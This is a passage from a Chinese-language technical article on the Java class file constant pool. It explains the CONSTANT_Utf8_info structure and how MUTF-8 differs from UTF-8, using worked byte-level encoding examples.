0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Utf8_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">1</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">utf-8 编码的字符串</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Integer_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">3</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">表示 int 类型常量；boolean、byte、short、chart</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Float_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">4</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">表示 float 类型量</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Long_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">5</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">长整型字面量</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Double_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">6</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">双精度型字面量</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Class_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">7</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">表示类或接口</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_String_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">8</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">java.lang.String 类型的常量对象</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Fieldref_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">9</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">字段信息表</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_Methodref_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">10</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">方法</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_InterfaceMethodref_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">11</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">接口方法</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_NameAndType_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">12</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">名称和类型表</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_MethodHandle_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">15</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">方法句柄表</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_MethodType_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;word-break: break-all;">16</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">方法类型表</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">CONSTANT_InvokeDynamic_info</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">18</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;">动态方法调用点</td></tr></tbody></table><p style="margin: 0px 0px 1.2em !important;"><strong>① CONSTANT_Utf8_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">CONSTANT_Utf8_info存储了 MUTF-8 编码的字符串，结构如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">CONSTANT_Utf8_info</span> <span class="code-snippet__string">{  </span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">u1</span> <span class="code-snippet__string">tag;  // 值固定为 1</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">u2</span> <span class="code-snippet__string">length;    // 值为bytes数组的长度</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">u1</span> <span class="code-snippet__string">bytes[length];    // 采用 MUTF-8 编码的长度为 length 的字节数组</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">}</span> <span class="code-snippet__string"></span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">值得一提的是，作者在书中解释了MUTF-8和 UTF8 的细微区别，同时也侧面告诉了读者为何字符串在class文件中是以MUTF-8编码而没有用标准的UTF-8编码。</p><p style="margin: 0px 0px 1.2em !important;">书中提到，MUTF-8编码方式和UTF-8大致相同，但并不兼容。差别有两点：</p><p style="margin: 0px 0px 1.2em !important;">第一，MUTF-8 里 null 字符（代码点U+0000）会被编码成 2 字节：0xC0、0x80；在标准的 UTF-8 编码中只用一个直接 0x00 表示。我们知道，在其他语言，比如 C 语言中，会把空字符当做字符串结束字符（通常我们所谓的%00 截断等原理就是如此），而采用了 MUTF-8 编码后，这种处理空字符的方式保证了字符串中不会出现空字符，在 C 语言处理的时候就不会发生意外截断。</p><p style="margin: 0px 0px 1.2em !important;">第二，MUTF-8 只用到了 UTF-8 编码中的单字节、双字节、三字节表示方式，没有用到 4 字节表示方式，对于编码在 U+FFFF 之上的字符，java 使用了”代理对“通过 2 个字符表示，比如 emoji 表情笑哭 😂，其代理对为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">\ud83d\ude02</code>。</p><p style="margin: 0px 0px 1.2em !important;">第一点比较好理解，第二点要理解起来就必须了解 UTF-8 中的单字节、双字节、三字节、四字节表示方式具体是什么。下面简单说说。</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>单字节</p></li></ul><p style="margin: 0px 0px 1.2em !important;">范围：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x0001 ~ 0x007F</code>，UTF-8 用<strong>一个字节</strong>来表示：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0000 0001 ~ 0000 007F  -&gt;  0xxxxxxx</code></p><p style="margin: 0px 0px 1.2em !important;">即，英文字母的 ASCII 编码和 UTF-8 编码的结果一样。</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>双字节</p></li></ul><p style="margin: 0px 0px 1.2em !important;">范围：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x0080 ~ 0x07FF</code>，UTF-8 用<strong>两个字节</strong>来表示：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0000 0080 ~ 0000 07FF  -&gt;  110xxxxx 10xxxxxx</code></p><p style="margin: 0px 0px 1.2em !important;">即，把第一字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">110</code> 去除，第二字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code> 去除，然后把剩下的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">x</code>组成新的两字节数据。</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>三字节</p></li></ul><p style="margin: 0px 0px 1.2em !important;">范围：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x0800 ~ 0xFFFF</code>，UTF-8 用<strong>三个字节</strong>表示：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0000 0800 ~ 0000 FFFF  -&gt;  1110xxxx 10xxxxxx 10xxxxxx</code></p><p style="margin: 0px 0px 1.2em !important;">即，把第一字节的 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">1110</code>去掉、第二字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>去掉、第三字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>去掉，然后把剩下的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">x</code>组成新的三字节数据。</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>四字节</p></li></ul><p style="margin: 0px 0px 1.2em !important;">范围：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0001 0000 ~ 0010 FFFF</code>，UTF-8 用<strong>四个字节</strong>表示：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0001 0000 ~ 0010 FFFF  -&gt;  11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</code>  </p><p style="margin: 0px 0px 1.2em !important;">即，把第一字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">11110</code>去掉，第二字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>去掉，第三字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>去掉，第四字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>去掉，然后把剩下的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">x</code>组成新的四字节数据。</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>举例：</p></li></ul><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">机</code>的 unicode 编码 为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x673A(0110 0111 0011 1010)</code></p><p style="margin: 0px 0px 1.2em !important;">由于<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x673A</code>在三字节范围，因此用三字节表示，如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3708609271523179" data-s="300,640" style="" data-type="png" data-w="1208" src="https://wechat2rss.xlab.app/img-proxy/?k=a274ec76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIp9kJ1J74HibmgXpx4qrE557iaUk60icVJj48eNWOzicFCjGhJHWicGMZ9icg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">填入的 x 为：</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">011 001110 0111010</code><br/></p><p style="margin: 0px 0px 1.2em !important;">得到UTF-8 编码为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0xE69CBA</code></p><p style="margin: 0px 0px 1.2em !important;">回到前面，我们知道 emoji 表情笑哭 😂代理对为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">\ud83d\ude02</code>，即：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">D83D DE02</code>，如果我们定义：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> final <span class="code-snippet__built_in">String</span> y = <span class="code-snippet__string">&#34;\ud83d\ude02&#34;</span>;</span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">那么打开编译后的 class 文件可以看到， emoji 表情笑哭 😂表示为：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">01 00 06 ED A0 BD ED B8 82</code></p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">01</code>表示常量项 tag，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">00 06</code>表示 byte 数组的长度，即后面 6 字节<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ED A0 BD ED B8 82</code>表示的是emoji 表情笑哭 😂</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ED A0 BD</code>对应的二进制为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">11101101 10100000 10111101</code>，由于是三字节，因此去掉第一字节的 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">1110</code>、第二字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>，第三字节的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">10</code>，剩下的是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">1101100000111101</code>，换算成十六进制为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0xD83D</code></p><p style="margin: 0px 0px 1.2em !important;">同理，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ED B8 82</code>经过相同的运算可以得到<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0xDE02</code>，采用代理对即表示为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">\ud83d\ude02</code></p><p style="margin: 0px 0px 1.2em !important;">值得一提的是，我查阅资料的时候发现 Java序列化机制使用的也是 MUTF-8 编码。<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">java.io.DataInput</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">java.io.DataOutput</code>接口分别定义了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">readUTF()</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">writeUTF()</code>方法，可以用于读写 MUTF-8编码的字符串。</p><p style="margin: 0px 0px 1.2em !important;"><strong>② CONSTANT_Integer_info</strong>：</p><p style="margin: 0px 0px 